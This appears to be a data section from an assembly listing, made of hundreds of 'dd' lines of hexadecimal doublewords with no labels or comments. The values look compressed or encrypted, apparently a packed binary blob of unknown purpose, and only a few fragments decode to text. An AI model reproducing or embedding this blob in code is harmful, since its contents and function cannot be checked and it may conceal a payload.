dd 28B95ED8h, 0A544E700h, 260D321Eh, 15ACC831h, 0E929F845h
dd 3B033E8Dh, 548529F5h, 3201E0DFh, 0FE3B1146h, 27BCEA3Fh
dd 9417A038h, 0C5064954h, 0DE82A971h, 33120150h, 0A284218Dh
dd 90E33A3h, 0D3F02DB5h, 9BAA288h, 3BDCF0B2h, 0AF933266h
dd 1D751E78h, 5BF434Dh, 0C270D534h, 4A40CB13h, 0C5D72B85h
dd 0B78B305Fh, 44CB16F8h, 243FB947h, 0B919ACCDh, 11559752h
dd 0DFFD8117h, 0A03C35F3h, 27579480h, 3C2C0222h, 9DA2BC95h
dd 897B44A6h, 4DFC1D4Dh, 0C5D098B7h, 6050800Ah, 152D2B7Fh
dd 0D9D1A217h, 0A0BCCC61h, 0B126FDC4h, 0E28140B6h, 252CEECBh
dd 0CFA5A86Ah, 7760600Fh, 0DE0C5354h, 0A1598501h, 0C7C83C8Bh
dd 70336D10h, 0D19D6EA0h, 234279BEh, 21D18EDh, 0A4EA8F89h
dd 59CC1119h, 3BF05F01h, 0A152357h, 1FA47F2Eh, 85B22295h
dd 2F4B8794h, 333E6B75h
dd 69DC1499h, 1B8BA60Dh, 17C49AE7h, 0D2D7AB60h, 21E1CE50h
dd 90600240h, 29CD20AFh, 40B70B9Fh, 8A0B314Fh, 1A1D482Ah
dd 0E26C3BDDh, 0CD91EA0h, 50897A93h, 1FCE68E9h, 2E530EE4h
dd 0F8075639h, 5E2C70E2h, 3402CFD2h, 655C1E67h, 92914559h
dd 88A68F5Ah, 2B67C114h, 0CD552E95h, 8C14B8AEh, 890FD613h
dd 0C0BF2822h, 30798FC4h, 91530E9h, 1348B18Dh, 73A9A4A4h
dd 8C0F06B8h, 8209A99Eh, 40E6A0B6h, 5C81BD1Eh, 9D845F11h
dd 292C90A1h, 0A958DB5h, 0FCE4CB83h, 6E3FC699h, 0E46A001Ch
dd 5BDE29FCh, 0A9939560h, 46DC1FA0h, 7376AB24h, 83280D0Dh
dd 49B2EE60h, 1498F8E5h, 2C9386F7h, 1FD28101h, 94707C74h
dd 88694BBDh, 0D3991361h, 0D21819F9h, 0E5CC2A04h, 5F81ABFEh
dd 0C061741h, 71919574h, 40797E4Ch, 0DD248005h, 36CC7483h
dd 0CC294169h, 34B2B1BDh, 0F577E90Eh, 850532FFh, 2C042A11h
dd 8A5DF86Ch, 96B1035h, 0FCDB0E71h, 13741D0h, 677D9F16h
dd 0AE6BA231h, 83A4699Ah, 45850A3Ch, 110C5B29h, 0F35EAB04h
dd 9C80AF79h, 28F70DF0h, 8DD4C007h, 4A9521B5h, 510F98h
dd 749A87ACh, 50935FFBh, 204F1C00h, 0E24A9477h, 774C487Dh
dd 4C9DC710h, 818873BBh, 497E0BDFh, 0C084766Bh, 9D3BC060h
dd 50A015F9h, 618101A5h, 7F5AC41h, 456A0F97h, 0B82F3144h
dd 28E6B42Eh, 692826A0h, 6DBF660Ah, 9D0CF863h, 37F38919h
dd 0A2F8A0Fh, 74D44868h, 5A0C1646h, 5164178Fh, 0D0C11864h
dd 148805CEh, 0CF8B88C1h, 121F89A6h, 5A3AF01Dh, 919D8AACh
dd 47E4B926h, 6A790043h, 0C8173718h, 460B39BEh, 851F562Eh
dd 0CAA203B8h, 0D9F8325Ch, 2FD9E48Fh, 6E5F8B3Ah, 0CA7F00C6h
dd 0F093FF09h, 0F938261Ah, 801825DDh, 1832B85h, 0BDD981D2h
dd 2043112Ah, 6127490Eh, 0C0784D50h, 226C6FFDh, 0B2D18902h
dd 76A1F224h, 98B8026Eh, 0B4C0D88Bh, 82E852D3h, 0CF611D9Eh
dd 8441535Fh, 9D8E0145h, 8E5F8903h, 6BB5043h, 5984205Bh
dd 0A25B104Eh, 0E4830FCEh, 29600994h, 0A5247985h, 8092B8E8h
dd 93F45E5h, 0C6FD03DAh, 615F4259h, 0FAC2A20Ch, 5BB1F638h
dd 0F88DCD80h, 9A16AAF1h, 41440E51h, 6A091769h, 0DD208FF8h
dd 5F36D002h, 4DBD2B09h, 0BA04C1DAh, 42E34490h, 6E6E7FE5h
dd 0EEC000E6h, 4898E336h, 95292766h, 468AC27h, 8B5FE818h
dd 8295B753h, 9D99303Bh, 38A18AA2h, 8E6988DEh, 186531B3h
dd 6685417Dh, 36AF99BAh, 0EA8103FCh, 9DAB945Eh, 9062F71Eh
dd 14092C0Ah, 9EB55008h, 3377A1ACh, 2F8BA144h, 9C371840h
dd 0B44C9D00h, 0F8B30FDh, 1F54DBFh, 0AD1A1544h, 285112F0h
dd 340B9A8Dh, 50C51488h, 3922E1CBh, 0AB1FBF01h, 8C3D6421h
dd 205915A8h, 291501D3h, 178AF98Dh, 0FC3F32E9h, 28071623h
dd 96153D7Bh, 0BB9F3448h, 13278128h, 0CC8AE680h, 0F5A10B4Ah
dd 9D7322Bh, 0E683E980h, 0DC599425h, 6DAEFE06h, 0A056ADFAh
dd 4CB6F12Dh, 6E5B3FD1h, 2BAC05D0h, 0B212C786h, 0A05813E6h
dd 0C6FCE848h, 0C6E10B47h, 0E2960B0Bh, 0A4DB00A7h, 0D6DF7A34h
dd 70F2006Dh, 0BF603BD1h, 4A00CD65h, 6158500Ah, 0DD7815Fh
dd 1EDB6FB3h, 0AD6C20AEh, 563C1741h, 0E0C6518Bh, 329169A0h
dd 601BC48Dh, 0C95716h, 315E7D54h, 15BE9FBh, 0F55CC082h
dd 3ADB831Eh, 1BF53758h, 0EC170AF9h, 0DFD3D156h, 1B490B2h
dd 2C52025h, 0B915631h, 0F90AC82Dh, 883984E9h, 31160885h
dd 0E907C5E2h, 19FFF037h, 0EB822537h, 7EABF1D4h, 4A91422Ch
dd 3E5018F4h, 0B9C1A072h, 0A2E61289h, 11333F19h, 0DDF807DDh
dd 20E60742h, 0F053595Bh, 12FC982h, 2D61D98Bh, 579B880h
dd 3C76F934h, 40FDA289h, 0AEBE17E4h, 6275E5E0h, 0F6F0005Fh
dd 0D391F37Bh, 9701E89Ah, 0FFD95B40h, 202A8B23h, 286E96Ah
dd 0F4F6BCh, 3F0E7268h, 98808D58h, 95897F0Bh, 1CA27FDh
dd 0C40AD5B2h, 0F6092FD0h, 0EA410B4Fh, 18606132h, 599E86Ah
dd 0F5B9663Ch, 1BC0BA0h, 65D97D29h, 5FC12500h, 1663A019h
dd 0A209CE2Ch, 0F590B99h, 0D682B08Dh, 0D3535CE9h, 420AA9C4h
dd 822E7D8Dh, 1F41162h, 3640D0B1h, 6A7F7CAh, 4652C6F2h
dd 0A9BE027Dh, 0D051F969h, 0C2F73840h, 42DBB418h, 821A218Eh
dd 346A7510h, 1F9D92CEh, 2B66CAAFh, 203DD80Fh, 0FFA115D5h
dd 62DA3007h, 98C0144h, 4C3F6DBh, 53FC2704h, 5601B6B3h
dd 0A8B85268h, 6A171E9Ch, 10830804h, 8164B73Bh, 8A74B2DCh
dd 68472D10h, 18AC9B08h, 414F3ECh, 801EF08Bh, 2661684Fh
dd 6D7EF72Fh, 70D243FBh, 18CA7D58h, 85185628h, 757553C0h
dd 98684101h, 7FDB8764h, 0B8EA257Dh, 39684C68h, 802BE7A4h
dd 9D8B4120h, 5BE21774h, 55BD5004h, 0B1C25479h, 0AE3BC715h
dd 4385E95Dh, 702020Ch, 0C5098985h, 0D0022039h, 0B5CA2E47h
dd 21114A8Bh, 68454067h, 0A520F797h, 2F2D2192h, 0D50267CCh
dd 7585280Ch, 0B4603632h, 0A94EA1D1h, 7E750C19h, 449A34A5h
dd 2A39D782h, 0FC0032F3h, 38CD7180h, 1AC60E9Ch, 5F801BBEh
dd 0EA62EE74h, 8B672205h, 734201BDh, 0F04B2E45h, 50F90436h
dd 0D095BD29h, 35FF641Fh, 18703FE1h, 1962984h, 283A045Fh
dd 76258964h, 3018A203h, 483F683Eh, 0E2808156h, 0E9BD2B61h
dd 0C15F5628h, 602F2A9Bh, 20452D5Ch, 2BB9F244h, 978D2916h
dd 3A86C717h, 0DDBD040Ch, 7FC1E512h, 583CA24h, 0DBB55F3Dh
dd 37D980F7h, 1A5BF66h, 8024B6EDh, 2AFC8DBDh, 0C260428Ah
dd 0E93313C1h, 93476E4Ah, 0DB90CAB7h, 0E438A1B9h, 0CC0EE22h
dd 9E9D38Bh, 0DB00233Bh, 677F5403h, 2DA42A3h, 73F0F40h
dd 0A3DC640Bh, 1069554Bh, 24119F10h, 0F2E33080h, 3D1D9AD6h
dd 2107372Fh, 0E4BBB92Ah, 90C68431h, 0FB83F8F8h, 8422F4B8h
dd 3D20C413h, 0B5BDB407h, 5E9171Bh, 24121EBFh, 2D7E5CCCh
dd 0F9009AECh, 0D2E04AE2h, 419A5D1h, 9B5B8A8Eh, 8069A8F3h
dd 34B76823h, 50BD0B6Fh, 0A0808B86h, 0A481C70Ch, 3FF25CCh
dd 0CAB8F483h, 6920415h, 305C8BC3h, 4184DB83h, 67ED815Dh
dd 518B6824h, 74411B83h, 89022F2Ch, 4F5D0CA6h, 0CDF18A27h
dd 0ED31C144h, 5D608884h, 4DAFBB2Eh, 2B17E86Ah, 0D4871D11h
dd 500C98Dh, 9B51F274h, 0A2C6A148h, 698E200Bh, 8C01C120h
dd 15B111A3h, 0CA274871h, 40FA9076h, 559EB91Fh, 0D704B883h
dd 6405D855h, 0DF70081h, 85D465BBh, 401CBA86h, 8C3E34B6h
dd 0C5FE8EAh, 9FBEEEDh, 564D5868h, 0F188055Ch, 724DCA30h
dd 91E4F658h, 6A40E94Eh, 152F0BCFh, 1983004Fh, 4CB2490Ch
dd 6F009DC3h, 0FC36918Ch, 4B8B0703h, 80E79BC0h, 1B5AE4C8h
dd 3EA44AE2h, 43D10A6h, 222FF984h, 20A117CBh, 7FA86CC5h
dd 0C73900ABh, 30FADEE6h, 0F61B12CEh, 5287C84Ch, 0A5178A04h
dd 87C27B0Fh, 0BF032F03h, 0E215FCCEh, 6AD83AE9h, 2E07F9A9h
dd 151E3538h, 45B801h, 70656378h, 6E6F6974h, 0BB492039h
dd 6D720A66h, 8C280C61h, 0B9656C3Ch, 202C9B73h, 0A964E308h
dd 0CEF76874h, 0E66C7136h, 7E697E77h, 7F637A67h, 28736F64h
dd 61E57EBEh, 78CDBD40h, 2ACE2EFEh, 5420836Dh, 6B163B68h
dd 75BF793Dh, 40D0A9Bh, 280131FDh, 73469870h, 1D544362h
dd 7F2B4C52h, 699ED1ECh, 64971ED9h, 0A18FA0B6h, 879702Ah
dd 0BF696C3Ch, 72618562h, 36102964h, 65561F42h, 9F997354h
dd 25DE3DDFh, 80431E72h
dd 496B6387h, 640FA94Eh, 55234F1Ch, 72508754h, 211DFA6Fh
dd 193B6D0Fh, 69E6010Fh, 0F3DA174h, 0CA5B1EC8h, 188E8D50h
dd 0A201E1Dh, 15C12CBDh, 12D62E5h, 9FFE0BFAh, 0ED3D10BDh
dd 9768899Eh, 860D8025h, 24852793h, 0A4B3003h, 2C070D19h
dd 1164CC1h, 0B3C12BA2h, 5712DE83h, 51259988h, 13230E11h
dd 230E1D59h, 0E255960h, 0EC5B7E23h, 648D6738h, 8D6F3815h
dd 76381964h, 0C20C4885h, 0E9023225h, 1244C4A2h, 321651BDh
dd 0DA2953Ah, 0C1230E5h, 4B8B1BFCh, 303BF595h, 0D69CF860h
dd 2FBBE425h, 2790958Dh, 28CB3452h, 3BE30340h, 5E9DFA89h
dd 120C4D8Dh, 8B275540h, 0C38B13CAh, 9A3CE24Ch, 50113165h
dd 90871108h, 791D8854h, 87210858h, 15885C90h, 0A24DDCA9h
dd 6822AF1Ah, 5A93CD82h, 90190C21h, 6421C815h, 1911321Dh
dd 0A09150Dh, 3F1C3107h, 2FE50748h, 57C5481Ch, 406A2486h
dd 19295224h, 0E1299DD3h, 80BE2D01h, 0C98060C1h, 9EC0ECC3h
dd 18465EF3h, 0DB73702h, 10575F64h, 0BCBFB1Dh, 0F5D59D81h
dd 0E90579Fh, 0C4FDDAD3h, 2D2E040Eh, 724457h, 39D52F4Bh
dd 910E2CA3h, 936BA000h, 6160E7BCh, 2F5A5A5Eh, 0B15231Bh
dd 669885C1h, 370D1362h, 0EC7B52A8h, 72F46E2Eh, 0EAAD8F00h
dd 30203243h, 51269CF4h, 7CAD146Dh, 5525CDB8h, 92718Eh
dd 0ABEEEFB8h, 0AE04781Eh, 13E945C7h, 0CFE7B440h, 0E0F2A5F3h
dd 81E40500h, 0AF3477C0h, 0F6900095h, 0E95A54DBh, 0AEBC0261h
dd 6B6700F4h, 0E4FD8098h, 8C007C39h, 62C981DFh, 94EA502h
dd 4C7F766h, 6D2BE526h, 9FA483ECh, 9B9611B7h, 0D45ECh
dd 3B824DFAh, 0C5056387h, 8EAE4103h, 708D0F91h, 2B59072Bh
dd 0B2F960FFh, 268E158Bh, 794603F1h, 0F007DB97h, 0CDC0F7h
dd 0BDFDBB11h, 61594DA6h, 0E4133E90h, 4DA64B36h, 0F52169F0h
dd 0EB0F5EEAh, 67BA6693h, 0BE51505Bh, 88EA9885h, 123F2AFAh
dd 0B2D959F9h, 80449B2Fh, 0DD22B8B1h, 51150991h, 90E5DBF4h
dd 5158602Bh, 6F35002Bh, 0FED67E74h, 0C4508B96h, 0E202BDE6h
dd 1CD4891h, 0DE9F54EBh, 0CB253D00h, 8E0F64FBh, 0E0EA9C12h
dd 0C26B2147h, 0DDB2A000h, 758173A1h, 209C4FE6h, 8616FC39h
dd 0A044C401h, 0D430C064h, 1F2C0D3h, 0E41053B4h, 6B301AA2h
dd 769A04B9h, 0E63E4C1Fh, 65885B2Dh, 0AD2019Bh, 7EFEEE58h
dd 4AF3338h, 0DC1A8CC2h, 0DB2A43E1h, 0AF8E80C3h, 0B7DFE50Fh
dd 22F19B07h, 345E5ABDh, 4C00B09h, 0CEE78B26h, 5B3D9A00h
dd 0B235B4A4h, 9B178000h, 0EBA613Fh, 37752CFAh, 3CF0924h
dd 86BD7901h, 63AA7C72h, 1F9C15Ah, 3840FA2Ch, 8B01B80Ah
dd 80E7FF59h, 85EFFB33h, 9574F69h, 7BE61088h, 40B60F02h
dd 4C8FE01h, 126A5DB0h, 8B5F0227h, 0C1DACD82h, 0F0E06C55h
dd 8B07C728h, 6064B6C8h, 0D881F510h, 0A3C60C9Dh, 0F026141h
dd 0E2F7B726h, 712CC228h, 96F672A6h, 0E42D6C9h, 0C6F102F4h
dd 0A05E0CDFh, 71B465Eh, 0F41F6E79h, 57648541h, 70009123h
dd 66694CC0h, 3E7C4EEAh, 675BF601h, 0BC5773CFh, 0FAF3E8A5h
dd 1AD170h, 21E6F0EFh, 0D506A7D4h, 79C28B27h, 0FDC000EDh
dd 4D46A6A4h, 6A7D167Fh, 35EB7024h, 0E459F609h, 0D6DC00CBh
dd 0CD7D3D5Ch, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C03F6h
dd 6134C181h, 43F3344Eh, 0A8F9BE00h, 0D22B0ED3h, 71DC8000h
dd 81111C8Bh, 5C1E0EEFh, 0C3C059A4h, 0F2D4DE1h, 0F8AEE397h
dd 1DCE0F3h, 88BE0945h, 8254E7CBh, 90DA0328h, 10BE614h
dd 0A3F2BEB3h, 9689E09Fh, 0BE30605Ch, 2379D5Bh, 3D010D82h
dd 49E204F0h, 860F2C60h, 6CC025D3h, 23B4AC6h, 5C54BF28h
dd 0AC437997h, 8091178Eh, 5A431280h, 0B68820h, 53093624h
dd 81A02CBDh, 9FA4FA0Eh, 2AF932FFh, 58D68F89h, 0C25C5560h
dd 8003B90Eh, 8AF41A34h, 3D1F7CF9h, 689B52DDh, 86E09748h
dd 2EE44DAh, 0D2FD9427h, 497AB3Ch, 3EEEF006h, 87320110h
dd 24F7A910h, 721BCACh, 3437C288h, 0E6DDE970h, 25D31008h
dd 0C3B0082h, 0AD049568h, 0CDDB78F0h, 0EA283548h, 293F7204h
dd 0B8150ACh, 74259868h, 341F2180h, 35FF507h, 0AC22560Ch
dd 318518EDh, 0E538D311h, 554183FCh, 0C0DAC42h, 1B346E18h
dd 8230E439h, 9D9B5185h, 470B00BBh, 0DDCA2D5h, 20EA264Ah
dd 0FF0A4500h, 80E33D9Eh, 5B91C295h, 98AFA05Ah, 1C298700h
dd 0A200C40Eh, 9006FB83h, 0C1326A0Dh, 5554D721h, 4A49C0D4h
dd 194BCD33h, 0F774A0CCh, 13AC1D04h, 36500E1h, 0D1AE0B23h
dd 54003AF8h, 5818938Ah, 3E03F92h, 0D46E63A0h, 80066B0h
dd 884962A6h, 2D8A8E4h, 570DED06h, 4CB0AD05h, 3C05D643h
dd 0E0E9FE53h, 23EFE022h, 480CCD57h, 0F0B87CDFh, 4480E2E2h
dd 654EE34h, 6A0092ACh, 0E9C54499h, 0C0F9482h, 0F32A0BC0h
dd 450DAB48h, 209D1D69h, 1D87E008h, 1EEBA968h, 18E21814h
dd 9BE87B90h, 39421CFh, 139E25FBh, 1083E271h, 0D3188819h
dd 0D73A483Dh, 0F70F04E8h, 9829853Fh, 7536870h, 570EACFAh
dd 770048EDh, 0B22035CDh, 860706BCh, 0C199843Dh, 44703100h
dd 3F084AA6h, 90510ADDh, 309CD707h, 9EC6D269h, 81E3500Ah
dd 9F879089h, 9186E2D7h, 2810A011h, 55D80087h, 0BAA4B670h
dd 0AD442593h, 147C3AC5h, 0D9849A09h, 0D6327422h, 5DCFBCA1h
dd 377CD453h, 0CCCE219h, 0D5E06839h, 2D4F00A4h, 62D6924Ah
dd 44026DB6h, 72CD9D7h, 242C41E6h, 5AE78710h, 5CE83E7Fh
dd 729DA026h, 56C5909h, 0C040E4B0h, 0AEE7EE8Eh, 0DF4D0098h
dd 9B4EEF2Eh, 21C9D689h, 6A1C232Ch, 88594523h, 0DD105BE1h
dd 6F0162E7h, 0E408C454h, 0D44C4580h, 0A8F448BBh, 91222840h
dd 841B8660h, 625821BFh, 30B401F0h, 0B23C2202h, 0A6E199Dh
dd 82D0A985h, 0ADC16A8Ch, 6C872040h, 13EAB502h, 8080C678h
dd 0C71DD9FBh, 0EC14ACA2h, 0D481286Eh, 0C6842130h, 5A10F3Eh
dd 8586862Bh, 70570069h, 45920C50h, 7F002004h, 4EB674EFh
dd 60856529h, 0E8FD2905h, 0D800A2ECh, 0F66FC2ADh, 917DBEE2h
dd 505F1304h, 0ADB82868h, 0D0E4E921h, 280C5852h, 59918FEFh
dd 5425EECFh, 6BFC097h, 290B02C0h, 900610Fh, 0B797F07Bh
dd 24E77DBBh, 441C2E04h, 3E613021h, 470E00DAh, 84203CEEh
dd 98A4F737h, 81ACCD20h, 0C516FA4h, 8708963Dh, 0A6492086h
dd 0D3108016h, 0B7CD3071h, 0DCCC24h, 0C8D60E56h, 7F3FFB48h
dd 70A8E612h, 2CB8B40Ah, 3EAD5508h, 2AD8F068h, 66F3D90h
dd 382D9280h, 0F8FA8C25h, 795828C1h, 409304F1h, 0B040EADh
dd 0FCFE7198h, 4191D30Dh, 0F0FC2010h, 1CC892A9h, 4F6854Bh
dd 0C09C4A95h, 57A6AEACh, 5C5A258h, 710D6A90h, 0B9877880h
dd 3C1F4893h, 0CA44800h, 3E459003h, 0F9341E19h, 51934989h
dd 98BC0C35h, 610C4A31h, 809D6D91h, 71140A26h, 3E9C64E4h
dd 1F945D10h, 119383ACh, 81A97801h, 189E0D75h, 0C4BB4758h
dd 71D300BDh, 94A40AD9h, 48F49D30h, 0F1254CD4h, 40A805EDh
dd 0C09F20B4h, 1E31267Ch, 3CD0181Ch, 0B2E8F7DCh, 1C828F8h
dd 5E4A3194h, 0EE2D25E9h, 0ED044440h, 0F0C01360h, 0E4B1FD5Ah
dd 6B82324Dh, 62110129h, 22843608h, 55446D99h, 0FB9500CAh
dd 588340B4h, 960FB95Dh, 2035D11Ch, 9CE0549Eh, 4CBF00F6h
dd 0DE4B505Ah, 0A803C82Ah, 366C99FDh, 0A6EE8883h, 390B39FBh
dd 43AF0FF4h, 0E5C030ABh
dd 7FC63B2h, 0EFF2E000h, 7348EE82h, 0D47FF4h, 0A6FE59A9h
dd 78B2F7BAh, 20083720h, 0F30032A5h, 55DA889Ah, 75F46ECh
dd 0BA1FDF71h, 4D14A0E0h, 0F17F7379h, 0A83C9E03h, 0A1982BB0h
dd 6760AA60h, 0EF1E00D2h, 3FE579ADh, 2F00E2C3h, 0CF62DEAEh
dd 175BD884h, 0CE4941h, 7FBEF9F2h, 5D70B919h, 80B70100h
dd 0E7580B77h, 0A7493C9Dh, 7CB03080h, 0ED218429h, 9E00A970h
dd 0E3B60D71h, 0EC64E2BFh, 0B0F8ECh, 247C41E1h, 0EA4668FFh
dd 2145F700h, 70363925h, 9AED00A6h, 8A99F204h, 49E81F8Eh
dd 0D2A9FC50h, 75EEA37Ah, 0CF5B3100h, 0FE81AE01h, 2B020067h
dd 8591D66Ah, 0A7006DF0h, 6F99B79Eh, 0F743DDh, 78CB0EE2h
dd 274CE068h, 1E38D002h, 0C07672EEh, 1DAAB853h, 1D819470h
dd 0F5F84501h, 0C1BC00B6h, 4DAFD307h, 2E571B00h, 5DDDDA6Dh
dd 7A191E58h, 291F002Dh, 0D8B0127Ch, 609DC00h, 1C812470h
dd 0CA300E2h, 0D4413EF4h, 0A000B031h, 8A52CE53h, 0BFE00Eh
dd 0EFE44A7Ah, 76BD915Dh, 738FF4Ch, 7BF43678h, 40E3ABC0h
dd 843A0069h, 31F63056h, 34006301h, 18DDD527h, 9068BBCh
dd 1F7F6F95h, 0BD131000h, 0B307EADEh, 0E6964DADh, 2C3E97D0h
dd 2E100FA3h, 49E050ACh, 6DFA5E73h, 94BA52h, 0CC0F714h
dd 740BE68h, 0F2E10171h, 0ED7AC174h, 4741301Ch, 134C9A00h
dd 0B20AAE5Eh, 2D30C7CBh, 8801CEC9h, 80B31F79h, 978DC261h
dd 7D4E93h, 0C115E2B6h, 6D87BAD6h, 0B4909500h, 59A43A91h
dd 9D71003Fh, 82D0179Ah, 460084CEh, 553C1F14h, 72C752h
dd 3E5F6C33h, 0E3A4DF08h, 0CC111001h, 0D8B6EEE4h, 740C30h
dd 21331AFh, 7D50B85Dh, 2C5CD400h, 73914F99h, 16F30021h
dd 0C05F542Bh, 0BF003FB4h, 2FB1354Bh, 1FD6D9CCh, 0C055569Bh
dd 41966111h, 0FB12ACD2h, 401AB80h, 1E37D183h, 1EBA58E4h
dd 0D2BD73ADh, 5EAD0062h, 1A898D32h, 638E9D01h, 7C04261Fh
dd 121496F4h, 400FD5DBh, 0C46DA0E4h, 0E700272Ch, 61774A5Bh
dd 9067F352h, 8FE4F8h, 5E22854Eh, 70F59F2Eh, 9DA43E01h
dd 0BFEED2A5h, 0D81030h, 4F0A16F4h, 183D7551h, 350BFCA0h
dd 41E21AFEh, 0DE30A800h, 0EA28A9A5h, 67081D31h, 0A698094Ch
dd 6FFA400h, 0D0A8E26Eh, 26001A6Dh, 0A69ED41Fh, 0ED420Eh
dd 4BBA38B9h, 0DB27DE82h, 0B4687100h, 22EEC27Eh, 814400C4h
dd 4A1C2CDCh, 12244E82h, 4604A478h, 3A20EF21h, 0CC1F7AF9h
dd 40DD4A6Eh, 7C692840h, 6145E6h, 0E1F76646h, 153B42B1h
dd 4BBEAC12h, 4DCA0800h, 0EEC013Ah, 4E6FA767h, 0F51246C0h
dd 2C3795BAh, 0CC30293Dh, 36C84ACh, 0B8E226E7h, 819CA590h
dd 28DCFBA8h, 0C3080A8Ch, 3F80C0B1h, 95037B8Bh, 89ED3B72h
dd 0EF1C3900h, 0DD51BA66h, 77158000h, 0E28C499Ah, 0F30D1CDCh
dd 0A623C090h, 0E76A1904h, 1D5ED200h, 89C9BE82h, 3A8500D6h
dd 0D733E2ADh, 8100ACE0h, 0C48E4F6Fh, 17E7BCF0h, 42642AB0h
dd 5440382Ch, 0DF748FC0h, 8100F370h, 0F61CEB2Bh, 9A0D9FAh
dd 0E34C2448h, 913C3C80h, 0F4703B55h, 9D974300h, 115C5A79h
dd 0DDFF03F6h, 365DA094h, 8F198CB0h, 6B9F0B00h, 0D9BD6805h
dd 43F600AAh, 0BB662EC4h, 3BE6FC4Bh, 4045702Ch, 0F2A67607h
dd 1928B2D0h, 409038h, 0C13DE067h, 160653FCh, 538EF48h
dd 0DD143264h, 56F05490h, 0E628013Eh, 0CA50048Eh, 0A8299DEAh
dd 59A353C0h, 0EB1EC4h, 22407E9Ah, 0AFEF932Eh, 190D5600h
dd 97A7D814h, 30E14C54h, 6AD76901h, 34D28396h, 0D600A2ECh
dd 0D3F7C1E2h, 0C87D52h, 0E9F34B9Dh, 81433C30h, 1160239h
dd 609F0383h, 9CF1A429h, 554830h, 0B3E1F646h, 979B1C0Eh
dd 91CB1900h, 27820776h, 1C9050h, 89B7EA35h, 0F1FFEC0Bh
dd 9E4588C0h, 0F0A2F30Eh, 558500B8h, 8BCD4E84h, 7A01670Ah
dd 0FD4D159h, 0E5E099D0h, 0B23A309Dh, 0E28094F8h, 3254CD00h
dd 0FE5F7124h, 0FF370049h, 7BE586BDh, 0D8016D25h, 0A4EBD226h
dd 0E70E39h, 7FDD5A28h, 9C8F44Eh, 0D48684A1h, 0F6B0F02Ah
dd 0ECBAB07h, 2130163Eh, 0E4CA18h, 0A1E834BAh, 3D677893h
dd 0BFDFFA0Fh, 42A04080h, 169CB8h, 379495FCh, 0F3DCB3E9h
dd 7B446902h, 0C0E29DABh, 0A204E9h, 7129A8A4h, 6F06CC26h
dd 990FB20Eh, 0E8C17E03h, 693D2AEDh, 0FA038428h, 83FF2295h
dd 1C6AAE80h, 0D5B98C00h, 5F42F79Eh, 3021EB21h, 854DECh
dd 0FCE82FCBh, 0A98DC6EAh, 175E7500h, 7FB4E91Ch, 0B53B01DCh
dd 5F6DF763h, 68EDF4F1h, 92AF3A00h, 82AB1D1h, 5503035Eh
dd 0F910E88Dh, 8E0A1298h, 21C8DB27h, 0FB63FA38h, 6AE4824h
dd 587A866Eh, 9B49B1F0h, 628580F8h, 7C7D682Bh, 186C7CCFh
dd 215B0637h, 7F039BCEh, 0FED917F2h, 0C7610208h, 81972236h
dd 58CFC4E8h, 0EC8FB3Ch, 179E3B0h, 0B5F0752Ch, 3861E0E3h
dd 0E17D00FEh, 57F972AEh, 76005E32h, 0F5DEA6E9h, 59266Bh
dd 0E5A71E73h, 4759350h, 0B0079FA3h, 59E00F90h, 0E9BDCA40h
dd 0E449608h, 9118C288h, 0A9644083h, 0EAC7A0CCh, 98158747h
dd 207F100Eh, 49186C04h, 0F06E0061h, 0E94B5448h, 3F330F62h
dd 9B584087h, 2C9E8A8h, 8EC002Eh, 6D0162CAh, 59311125h
dd 97883870h, 81A42C40h, 2490C103h, 0E677F7A1h, 0FAAC000Fh
dd 610076Ch, 0AE019FEh, 2001388Ah, 25CCF711h, 5056E8DDh
dd 0C16C706Eh, 6F66CEA0h, 55A8F3FCh, 74013F73h, 230C763h
dd 4DF844A8h, 0C82CEB7Fh, 0CDAC0491h, 10C3A9E2h, 9046925h
dd 2A4A0350h, 0F7AAFC43h, 2269D722h, 401C211h, 29902BE3h
dd 63C98426h, 0BA896548h, 70EA0005h, 0A04D8733h, 0C10CFAh
dd 448E3065h, 0EF265890h, 60CA9C00h, 0D81EAE3Bh, 0A0D1FB8h
dd 7493407Ch, 0FBCB96FEh, 2B134B73h, 0D00059C0h, 2CA2F686h
dd 338B0012h, 1AD54AE0h, 2A72D4B5h, 7DB2E100h, 0EB70A301h
dd 9850FED6h, 7E5B0980h, 4C80451Eh, 0EE24346Ch, 0CEE42A00h
dd 72E0ADDEh, 0A1F10077h, 0FFE64D88h, 41004430h, 371520AFh
dd 275B8E0Dh, 7C04FB9Eh, 92B48C5Eh, 0BB3025Ch, 83B1A726h
dd 899FDD8Ch, 0B0835ACCh, 6E72F222h, 89171990h, 1F915F01h
dd 23FBCD9Ah, 57773080h, 7105520Eh, 2845B800h, 40A15654h
dd 0F10102ABh, 9A20F62Bh, 2C12FCA1h, 13C02439h, 0DC6B4102h
dd 0E073D663h, 184A34h, 0E729CCC7h, 70AB92CAh, 37CEF918h
dd 3047B730h, 79B80564h, 0DB00C007h, 0BB6AB98Eh, 3D6C06BEh
dd 8B00414Eh, 0B1F5F348h, 2900618Fh, 0CDE764E5h, 785685EFh
dd 766D0E30h, 0A500FEBAh, 5F72DFCAh, 893912B0h, 23308073h
dd 0FAE660E3h, 0A0E43Eh, 91F16F4Fh, 126505CAh, 0D0A6DC17h
dd 23F2E007h, 0AB8B75A0h, 458700C7h, 169A48DBh, 8E00A8D6h
dd 703F68DFh, 0DD9AAh, 177DF013h, 0F859B721h, 0BCF3473Bh
dd 504E07E1h, 9C00FFA9h, 0AEB445h, 0ED8FA84Dh, 6E510F73h
dd 1693F20Fh, 1A83E0E4h, 47062Ch, 2723AEBCh, 3C016F68h
dd 399F30C0h, 30B1A30h, 0B2D660B4h, 8288C8D2h, 0F600134Dh
dd 5F492BBEh, 9252A4C7h, 3FB62EACh, 0AB224260h, 1820EC8Eh
dd 0C521F626h, 0C7007EFEh, 9CC5A2Dh, 872A0D6h, 6E10287h
dd 763E6900h, 0AAD87Ch, 4F11C510h, 0C78D79B3h, 0F91C1300h
dd 2467AD44h, 0C8E863B2h, 96807FF3h, 0BE000482h, 0EE84EC1Bh
dd 9D15433h, 5BD81323h, 2E9E4000h, 164B035Ah, 69010800h
dd 0CF785Eh, 4FFFF559h
dd 77AA7BA2h, 377FC31Fh, 638B1064h, 0FC60A274h, 762048CCh
dd 2710B2AEh, 0BC023080h, 0B300399Ah, 78D88191h, 54D500AFh
dd 0E1AE21E2h, 0F800449Ch, 0A5D71751h, 854ADFh, 0FF6C232Ch
dd 0C8EC987h, 8C8B3Dh, 0FD0A4567h, 0B2D801h, 1BFA5EC6h
dd 565F2F97h, 4760B909h, 0D1004738h, 290C5Ch, 61C8CDFBh
